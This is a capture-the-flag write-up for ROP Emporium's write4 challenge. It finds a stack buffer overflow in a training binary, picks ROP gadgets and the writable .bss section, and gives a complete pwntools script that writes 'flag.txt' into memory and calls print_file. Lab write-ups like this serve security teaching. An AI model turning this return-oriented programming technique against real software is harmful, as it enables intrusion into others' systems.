Skip to content

write4

Our first foray into proper gadget use. A useful function is still present, but we'll need to write a string into memory somehow.

Enumeration

checksec:

1
2
3
4
5
6
7
8
9
pwndbg> checksec
File:     /home/admin/sboxshare/ropemporium/write4/write4
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
RUNPATH:    b'.'
Stripped:   No

As before, there is nothing special about the program when executed normally:

1
2
3
4
5
6
7
8
$ ./write4 
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> 
Thank you!

This challenge works slightly different than the previous ones. Instead of a fully self-contained binary, write4 also comes with its own library, libwrite4.so, which is responsible for some of the program logic. This changes how the write4 binary appears in the disassembly, as functions not present in the main binary are only represented as PLT stubs.

For instance, the pwnme() function in the main binary appears like so in the PLT:

1
2
3
4
5
00400500    int64_t pwnme()
00400500    {
00400500        /* tailcall */
00400500        return pwnme();
00400500    }

The same function in libwrite4.so:

000008aa    int64_t pwnme()
000008aa    {
000008aa        setvbuf(*(uint64_t*)stdout, nullptr, 2, 0);
000008da        puts("write4 by ROP Emporium");
000008e6        puts("x86_64\n");
000008fc        void buf;
000008fc        memset(&buf, 0, 0x20);
00000908        puts("Go ahead and give me the input a…");
00000919        printf("> ");
0000092f        read(0, &buf, 0x200);
00000942        return puts("Thank you!");
000008aa    }

From the disassembly above, the program allocates a 32 (0x20) byte buffer but reads up to 512 (0x200) bytes of input. As before, this is the target for the buffer overflow attack.

The description doesn't explain the steps to exploit the vulnerability. It does mention that there is no /bin/cat flag.txt string in the binary, which means that the argument to print_file (a function for reading a given file) has to come from somewhere else than the program itself. The solution is to leverage ROP to write an arbitrary string (in this case flag.txt) to somewhere in memory and then point the first argument to print_file to the address of the string.

Attack

As mentioned in the challenge description, gadets useful for this challenge are the type that write to memory, such as mov [reg], reg. Since this gadget writes to memory, it needs to be paired with an equivalent gadget that pops the data back from the stack.

Among the gadgets present in the binary, the following stand out:

1
2
3
4
5
6
7
8
$ ropper -f write4
...
0x0000000000400628: mov qword ptr [r14], r15; ret; # (1)
...
0x0000000000400690: pop r14; pop r15; ret; # (2)
...
0x0000000000400693: pop rdi; ret; # (3)
...
  1. Places the contents of r15 into the address stored in r14.
  2. Pops the top of the stack and places the contents into r14 and r15.
  3. Pops the top of the stack and places the contents into rdi. Since rdi is used for storing the first argument to a function call (according to the calling convention), this gadget is useful for preparing a the argument for a single-argument function call.

The next part of the attack is determining where in memory the user-controlled flag.txt string should be written to. This requires some planning as different segments of the binary's address space have different permissions and may not be writable.

Permissions settings for the various segments of an ELF executable can be found using readelf -S <file>, though the output from radare is significantly easier to read:

$ r2 write4
[0x00400520]> iS
[Sections]

nth paddr        size vaddr       vsize perm type        name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ---- NULL
1   0x00000238   0x1c 0x00400238   0x1c -r-- PROGBITS    .interp
2   0x00000254   0x20 0x00400254   0x20 -r-- NOTE        .note.ABI-tag
3   0x00000274   0x24 0x00400274   0x24 -r-- NOTE        .note.gnu.build-id
4   0x00000298   0x38 0x00400298   0x38 -r-- GNU_HASH    .gnu.hash
5   0x000002d0   0xf0 0x004002d0   0xf0 -r-- DYNSYM      .dynsym
6   0x000003c0   0x7c 0x004003c0   0x7c -r-- STRTAB      .dynstr
7   0x0000043c   0x14 0x0040043c   0x14 -r-- GNU_VERSYM  .gnu.version
8   0x00000450   0x20 0x00400450   0x20 -r-- GNU_VERNEED .gnu.version_r
9   0x00000470   0x30 0x00400470   0x30 -r-- RELA        .rela.dyn
10  0x000004a0   0x30 0x004004a0   0x30 -r-- RELA        .rela.plt
11  0x000004d0   0x17 0x004004d0   0x17 -r-x PROGBITS    .init
12  0x000004f0   0x30 0x004004f0   0x30 -r-x PROGBITS    .plt
13  0x00000520  0x182 0x00400520  0x182 -r-x PROGBITS    .text
14  0x000006a4    0x9 0x004006a4    0x9 -r-x PROGBITS    .fini
15  0x000006b0   0x10 0x004006b0   0x10 -r-- PROGBITS    .rodata
16  0x000006c0   0x44 0x004006c0   0x44 -r-- PROGBITS    .eh_frame_hdr
17  0x00000708  0x120 0x00400708  0x120 -r-- PROGBITS    .eh_frame
18  0x00000df0    0x8 0x00600df0    0x8 -rw- INIT_ARRAY  .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- FINI_ARRAY  .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- DYNAMIC     .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- PROGBITS    .got
22  0x00001000   0x28 0x00601000   0x28 -rw- PROGBITS    .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- PROGBITS    .data
24  0x00001038    0x0 0x00601038    0x8 -rw- NOBITS      .bss
25  0x00001038   0x29 0x00000000   0x29 ---- PROGBITS    .comment
26  0x00001068  0x618 0x00000000  0x618 ---- SYMTAB      .symtab
27  0x00001680  0x1f6 0x00000000  0x1f6 ---- STRTAB      .strtab
28  0x00001876  0x103 0x00000000  0x103 ---- STRTAB      .shstrtab

Excluding the special segments (lines 26-30 above) leaves .data and .bss as valid alternatives. Both are just large enough to fit the string flag.txt (8 bytes).

All combined, the attack gives the following stack structure:

Stack top
---
8. print_file
7. [address of .bss]
6. pop_rdi
5. mov_[r14]_r15
4. b'flag.txt'
3. [address of .bss]
2. pop_r14_pop_r15
1. 40 byte padding
---
Stack bottom

Attack Script

solve.py
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
exe = "./write4"
elf = context.binary = ELF(exe)
rop = ROP(elf)
gdbscript = '''
b *main
'''

if args.LOCAL:
    p = process(elf.path)
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)

print_file = p64(elf.symbols['print_file'])
bss_addr = p64(0x00601038)
pop_rdi = p64(0x400693)
movgadget = p64(0x400628)   # 0x0000000000400628: mov qword ptr [r14], r15; ret;
arg =  b'flag.txt'
pop_r14_pop_r15 = p64(0x400690)

p.sendlineafter(b'> ', b'A'*40 + pop_r14_pop_r15 + bss_addr + \
                arg + movgadget + pop_rdi + bss_addr + print_file)
p.recv()
print(p.recvline().decode())